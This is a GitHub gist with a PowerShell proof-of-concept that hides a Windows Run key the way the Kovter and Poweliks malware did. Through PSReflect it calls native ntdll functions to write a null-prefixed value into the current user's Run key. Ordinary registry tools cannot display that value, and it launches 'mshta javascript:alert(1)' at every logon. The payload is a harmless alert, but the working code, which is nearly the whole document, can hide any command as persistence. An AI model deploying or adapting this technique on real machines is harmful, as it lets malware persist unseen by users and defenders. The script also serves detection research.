Skip to content

Instantly share code, notes, and snippets.

@brianreitz
Created July 14, 2017 12:30
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 12 You must be signed in to fork a gist
  • Save brianreitz/feb4e14bd45dd2e4394c225b17df5741 to your computer and use it in GitHub Desktop.
Save brianreitz/feb4e14bd45dd2e4394c225b17df5741 to your computer and use it in GitHub Desktop.
PowerShell script to hide a Run key like Reghide/Kovter/Poweliks
# requires PSReflect.ps1 to be in the same directory as this script
. .\PSReflect.ps1
$Module = New-InMemoryModule -ModuleName RegHide
# Define our structs.
# https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx
# typedef struct _UNICODE_STRING {
# USHORT Length;
# USHORT MaximumLength;
# PWSTR Buffer;
# }
$UNICODE_STRING = struct $Module UNICODE_STRING @{
Length = field 0 UInt16
MaximumLength = field 1 UInt16
Buffer = field 2 IntPtr
}
$OBJECT_ATTRIBUTES = struct $Module OBJECT_ATTRIBUTES @{
Length = field 0 UInt32
RootDirectory = field 1 IntPtr
ObjectName = field 2 IntPtr
Attributes = field 3 UInt32
SecurityDescriptor = field 4 IntPtr
SecurityQualityOfService = field 5 IntPtr
}
# ACCESS_MASK enum used to determine key permissions, used by NtOpenKey.
$KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{
KEY_QUERY_VALUE = 0x0001
KEY_SET_VALUE = 0x0002
KEY_CREATE_SUB_KEY = 0x0004
KEY_ENUMERATE_SUB_KEYS = 0x0008
KEY_NOTIFY = 0x0010
KEY_CREATE_LINK = 0x0020
KEY_WOW64_64KEY = 0x0100
KEY_WOW64_32KEY = 0x0200
KEY_WRITE = 0x20006
KEY_READ = 0x20019
KEY_EXECUTE = 0x20019
KEY_ALL_ACCESS = 0xF003F
} -Bitfield
# ATTRIBUTES enum passed to an OBJECT_ATTRIBUTES struct.
$OBJ_ATTRIBUTE = psenum $Module OBJ_ATTRIBUTE UInt32 @{
OBJ_INHERIT = 0x00000002
OBJ_PERMANENT = 0x00000010
OBJ_EXCLUSIVE = 0x00000020
OBJ_CASE_INSENSITIVE = 0x00000040
OBJ_OPENIF = 0x00000080
OBJ_OPENLINK = 0x00000100
OBJ_KERNEL_HANDLE = 0x00000200
OBJ_FORCE_ACCESS_CHECK = 0x00000400
OBJ_VALID_ATTRIBUTES = 0x000007f2
} -Bitfield
# Function definitions, including parameters and Entrypoint names
$FunctionDefinitions = @(
(func ntdll NtOpenKey ([UInt32]) @(
[IntPtr].MakeByRefType(), #_Out_ PHANDLE KeyHandle,
[Int32], #_In_ ACCESS_MASK DesiredAccess,
$OBJECT_ATTRIBUTES.MakeByRefType() #_In_ POBJECT_ATTRIBUTES ObjectAttributes
) -EntryPoint NtOpenKey),
(func ntdll NtSetValueKey ([UInt32]) @(
[IntPtr], #_In_ HANDLE KeyHandle,
$UNICODE_STRING.MakeByRefType(), #_In_ PUNICODE_STRING ValueName,
[Int32], #_In_opt_ ULONG TitleIndex,
[Int32], #_In_ ULONG Type,
[IntPtr], #_In_opt_ PVOID Data,
[Int32] #_In_ ULONG DataSize
) -EntryPoint NtSetValueKey),
(func ntdll NtDeleteValueKey ([UInt32]) @(
[IntPtr], #_In_ HANDLE KeyHandle,
$UNICODE_STRING.MakeByRefType() #_In_ PUNICODE_STRING ValueName
) -EntryPoint NtDeleteValueKey),
(func ntdll NtClose ([UInt32]) @(
[IntPtr] #_In_ HANDLE ObjectHandle
) -EntryPoint NtClose),
(func ntdll RtlInitUnicodeString ([void]) @(
$UNICODE_STRING.MakeByRefType(), #_Inout_ PUNICODE_STRING DestinationString
[string] #_In_opt_ PCWSTR SourceString
) -EntryPoint RtlInitUnicodeString)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide
$ntdll = $Types['ntdll']
$KeyHandle = [IntPtr]::Zero
$DesiredAccess = $KEY_ACCESS::KEY_ALL_ACCESS
# To open the Current User’s registry hive, we need the user’s SID
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$KeyName = "\Registry\User\$SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING
$KeyBuffer = [Activator]::CreateInstance($UNICODE_STRING)
$ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName)
# Create our OBJECT_ATTRIBUTES structure
# We don’t have the InitializeObjectAttributes macro, but we can do it manually
$ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES)
$ObjectAttributes.Length = $OBJECT_ATTRIBUTES::GetSize()
$ObjectAttributes.RootDirectory = [IntPtr]::Zero
$ObjectAttributes.Attributes = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE
# Here, we need a pointer to the UNICODE_STRING we created previously.
$ObjectAttributes.ObjectName = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize())
[System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true)
# These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro).
$ObjectAttributes.SecurityDescriptor = [IntPtr]::Zero
$ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero
$status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes)
"OpenKey status: 0x{0:x8}" -f $status
# Next, let's create our hidden value key and its data
# Our hidden value key name will be "\0abcd" and its data will be an alert box that triggers
# Note that the Null character in PowerShell is `0
$ValueName = "`0abcd"
$ValueData = "mshta javascript:alert(1)"
$ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING)
$ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING)
# Since RtlInitUnicodeString takes in a null-terminated string (and won't return the correct name),
# we'll have to manually create the ValueName UNICODE_STRING.
# Allocate enough space for 2-byte wide characters
$ValueNameBuffer.Length = $ValueName.Length * 2
$ValueNameBuffer.MaximumLength = $ValueName.Length * 2
$ValueNameBuffer.Buffer = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName)
# ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString
$ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData)
# Fill out the remaining parameters for NtSetValueKey
$ValueType = 0x00000001 # REG_SZ Value Type
# "Device and intermediate drivers should set TitleIndex to zero."
$TitleIndex = 0
$status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length)
"SetValueKey status: 0x{0:x8}" -f $status
# uncomment these lines to clean up your registry key
# $status = $ntdll::NtDeleteValueKey($KeyHandle, [ref]$ValueNameBuffer)
# "DeleteValueKey status: 0x{0:x8}" -f $status
# Free the memory allocated after using AllocHGlobal
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ObjectAttributes.ObjectName)
# Close the handle to the key to clean up after we're done
$status = $ntdll::NtClose($KeyHandle)
"CloseKey status: 0x{0:x8}" -f $status
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment